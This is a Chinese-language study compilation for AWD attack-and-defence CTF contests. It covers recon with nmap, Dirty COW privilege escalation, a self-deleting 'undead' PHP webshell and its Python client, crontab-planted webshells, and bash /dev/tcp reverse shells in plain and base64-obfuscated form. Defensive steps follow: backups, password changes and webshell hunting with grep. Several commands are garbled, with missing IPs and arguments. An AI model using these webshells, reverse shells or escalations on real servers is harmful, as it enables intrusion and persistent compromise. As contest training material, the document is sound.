AWD基本资料
前阵子在准备AWD比赛,找了一些资料,基本都是网上的,做了简单的集合。可以做个 总结。
AWD基本资料
登录服务器:
攻击流程:信息搜集、网站目录扫描、攻击服务端口、攻击WEB服务、权限提升、权限维持
防御流程:
网站备份、数据库备份、信息搜集、
安全加固(更改口令,备份检查,后门查杀、关闭进程、关闭端口、漏洞修复、文件监控、部署WAF、流量监控)
信息搜集:
主机探测:
一般使用nmap或netdiscover
查看自己主机IP
ifconfig #linux
ipconfig #windows
扫描存活主机
nmap -sS 192.168.1.0/24 #扫描192.168.1.1-192.168.1.254的主机
netdiscover -i eth0 -r 192.168.111.0/24 #同上
端口探测
nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口
nmap常用命令:
nmap -sS 192.168.96.4 //SYN扫描,使用最频繁,安全,快
nmap -Pn 192.168.96.4 //目标机禁用ping,绕过ping扫描
nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序
nmap -A 192.168.96.4 //强力扫描,耗时长
网站目录扫描:
网站目录扫描通常采用御剑或者是7kbscan,准备好对应字典
已经放置在文件夹下
攻击服务端口和WEB服务
WEB 方面的语言多为PHP,小部分为Java 和Python。这里的WEB环境分两种情况。
一种是已有漏洞的框架,一种是出题人写的框架。如果是已有漏洞的框架,通常会比较明显。比如说Struts2各种漏洞等等,用工具扫就可以扫出来。
可以使用这款软件来进行POC利用
https://gobies.org/ 主机探测、端口爆破和漏洞检测
文件包含漏洞:
使用通过 ../../../../../flag 获取
可能会使用SQL注入,SQL盲注,文件包含,文件上传,XSS,暴力破解等手法来进行攻击,详细攻击手法参考书籍。这里介绍各种CMS、框架漏洞的POC
目前有Struts2、万户OA、致远OA、ThinkPHP漏洞、
同时,通过vulbase,提供了各类漏洞库的POC,目前已放置在Centos虚拟机中,启动方式如下:
docker 运行
cd /download/vulbase-master
docker pull vultarget/vulbase:0.3
docker run -it -d -p 80:80 vultarget/vulbase:0.3
默认密码 admin / 1q2w3e4r
直接浏览器访问改ip地址,输入用户名和密码即可
权限提升
一般提供的
常用权限提升方法:
1、内核脏牛提权
uname -a #查看内核版本信息
内核版本为3.2.78 ,小于3.9的话,就可以使用。(CVE-2016-5195)
通过Xftp把文件上传到CentOS里面,编译下载的Exp:
gcc -pthread dirty.c -o dirty -lcrypt
rm -rf /tmp/passwd.bak
./dirty 123456
执行完成后,会在目标主机上添加一个名为firefart,密码为123456且具备root权限的用户,
2、linux-exploit-suggester检测来进行提权
用法:文件上传到Linux目录下,执行
./linux-exploit-suggester.sh
会提示存在哪个漏洞版本可以进行提权操作
3、SUID提权
具体操作参考文档《SUID提权总结及利用演示》
权限维持
1、不死马
代码:
<?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.config.php'; $code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>'; //pass=pass while (1){ file_put_contents($file,$code); system('touch -m -d "2022-10-01 09:10:12" .config.php'); usleep(5000); } ?> |
将该php文件命名为config.php上传到服务器,然后进行访问,访问路径为
http://x.x.x.x/uploads/config.php,之后,
会在该路径下循环生成名字为.config.php的不死马隐藏文件
然后使用蚁剑访问,URL:
http://x.x.x.x/uploads/.config.php?pass=pass,连接密码是a
<?php @eval($_POST['shell']);?>
shell 变量用于接收 python 代码传过来的字符串。
eval() 函数将接收的字符串当作命令执行。
所以发送的代码。
import requests
url = ‘192.168.1.1’
passwd = ‘shell’ # 其实就是一句话木马中的变量shell
cmd = ls
# 将命令传给一句话木马
payload = {
passwd: "system(\'" + cmd + "\');"
}
# 向目标url发送post请求
response = requests.post(url=url, data=payload, timeout=3)
# 回显命令执行的结果
print(response.text)
2、Crontab写马
1.定时任务写马
*/2 * * * * /bin/echo '<?php eval(@$_POST['password']);?>' > /www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/shell.php
1.使用命令crontab -e进入编辑界面
2.输入上面命令,上面是将一句话木马写入/www/admin/localhost_80/wwwroot/DVWA-master/hackable/uploads/中,并命名为shell.php,时间间隔是2分钟执行一次
3.crontab -l ,可以查看到当前正在执行的任务
2. 反弹shell
1、nc反弹
在靶机在执行 ,xx.xx.xx是你本机的ip地址
bash -i >& /dev/tcp/xx.xx.xx/8000 0>&1
在本机上执行
nc -lvnp 8000
就可以收到反弹过来的shell了
2、nc采用base64编码反弹
首先把这个语句进行base64编码,192.168.1.1是本机的ip地址
bash -i >& /dev/tcp/192.168.1.1/8000 0>&1
编码后为
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx
在靶机执行
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS84MDAwICAwPiYx}|{base64,-d}|{bash,-i}'
接着在本机执行
nc -lvnp 8000
https://blog.csdn.net/qq_44159028/article/details/124318602
网站备份
目的是防止修改源码出错,或被对手恶意删除源码,或快速恢复网站防止被裁判组check探测服务存活失败丢分。
压缩文件:
tar -cvf web.tar /var/www/html
解压文件:
tar -xvf web.tar -C /var/www/html
备份到本地
使用FileZilla
或者直接用MobaXterm连上服务器,直接备份下来
数据库备份
mysql -uroot -proot #进入数据库,用户名和密码都是root
备份服务器上所有数据库
mysqldump –-all-databases > 123.sql
备份指定数据库:
mysqldump –u username –p password databasename > bak.sql
mysql备份单个数据库命令
mysqldump --column-statistics=0 -h主机ip -P端口号 -u数据库用户名 -p数据库密码 数据库名称 > 想要备份的文件名称.sql
信息搜集
netstat -ano/-a #查看端口情况
uname -a #系统信息
ps -aux、ps -ef #进程信息
cat /etc/passwd #用户情况
ls /home/ #用户情况
id #用于显示用户ID,以及所属群组ID
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/ #查找默认FLAG
find /var/www/html -name ‘flag*.*’ # 查找名字为flag的
口令更改
信息搜集后,将未授权和弱口令问题及时修复,包括但不限于服务器SSH口令、数据库口令和WEB服务口令。
passwd username #ssh口令修改
mysql用户密码的更改:
mysql -uroot -proot # 先登录mysql服务器,u后面是用户名,p后面是密码,这里的用户名和密码都是root
set password for username@localhost = password(newpwd);
#其中 username 为要修改密码的用户名,newpwd 为要修改的新密码
例如
set password for root@localhost = password(‘root’); #密码是root
如果这条语句不行,可以使用
ALTER USER 'root'@'localhost' IDENTIFIED BY '123456';
默认大部分都是弱口令,例如一般默认密码为 admin/admin, admin/123456, test/test,如果被其他队伍改了那就gg了。
后门查杀
通过命令查看可疑文件:
find /var/www/html -name *.php -mmin -20 #查看最近20分钟,在/var/www/html目录下,后缀名为.php的,被修改的文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more
一般查杀
使用河马webshell或者D盾
关闭进程
查看进程: ps aux
会有进程的pid,根据pid,删掉进程。
删除进程: kill -9 pid
关闭端口
关闭端口,可以采用在防火墙上拦截的方式,具体操作已写入文档里
文件监控
监测攻击payload
tail -f *.log,看日志,不言而喻,抓他们的payload并利用。
curl获取flag
常用Linux命令:
linux操作有很多命令,但是线下赛的防护工作中常用的也就那么一些,我们平时可以留意并总结起来,便于我们比赛使用。
ssh <-p 端口> 用户名@IP
scp 文件路径 用户名@IP:存放路径
tar -zcvf web.tar.gz /var/www/html/
w
pkill -kill -t <用户tty>
ps aux | grep pid或者进程名
#查看已建立的网络连接及进程
netstat -antulp | grep EST
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
#结束进程命令
kill PID
killall <进程名>
kill - <PID>
#封杀某个IP或者ip段,如:.
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
#禁止从某个主机ssh远程访问登陆到本机,如123..
iptable -t filter -A INPUT -s . -p tcp --dport -j DROP
#备份mysql数据库
mysqldump -u 用户名 -p 密码 数据库名 > back.sql
mysqldump --all-databases > bak.sql
#还原mysql数据库
mysql -u 用户名 -p 密码 数据库名 < bak.sql
find / *.php -perm
awk -F: /etc/passwd
crontab -l
#检测所有的tcp连接数量及状态
netstat -ant|awk |grep |sed -e -e |sort|uniq -c|sort -rn
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d | sort | uniq -c | sort -k -r | head -
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d | sort | uniq -c | sort -k -r | head -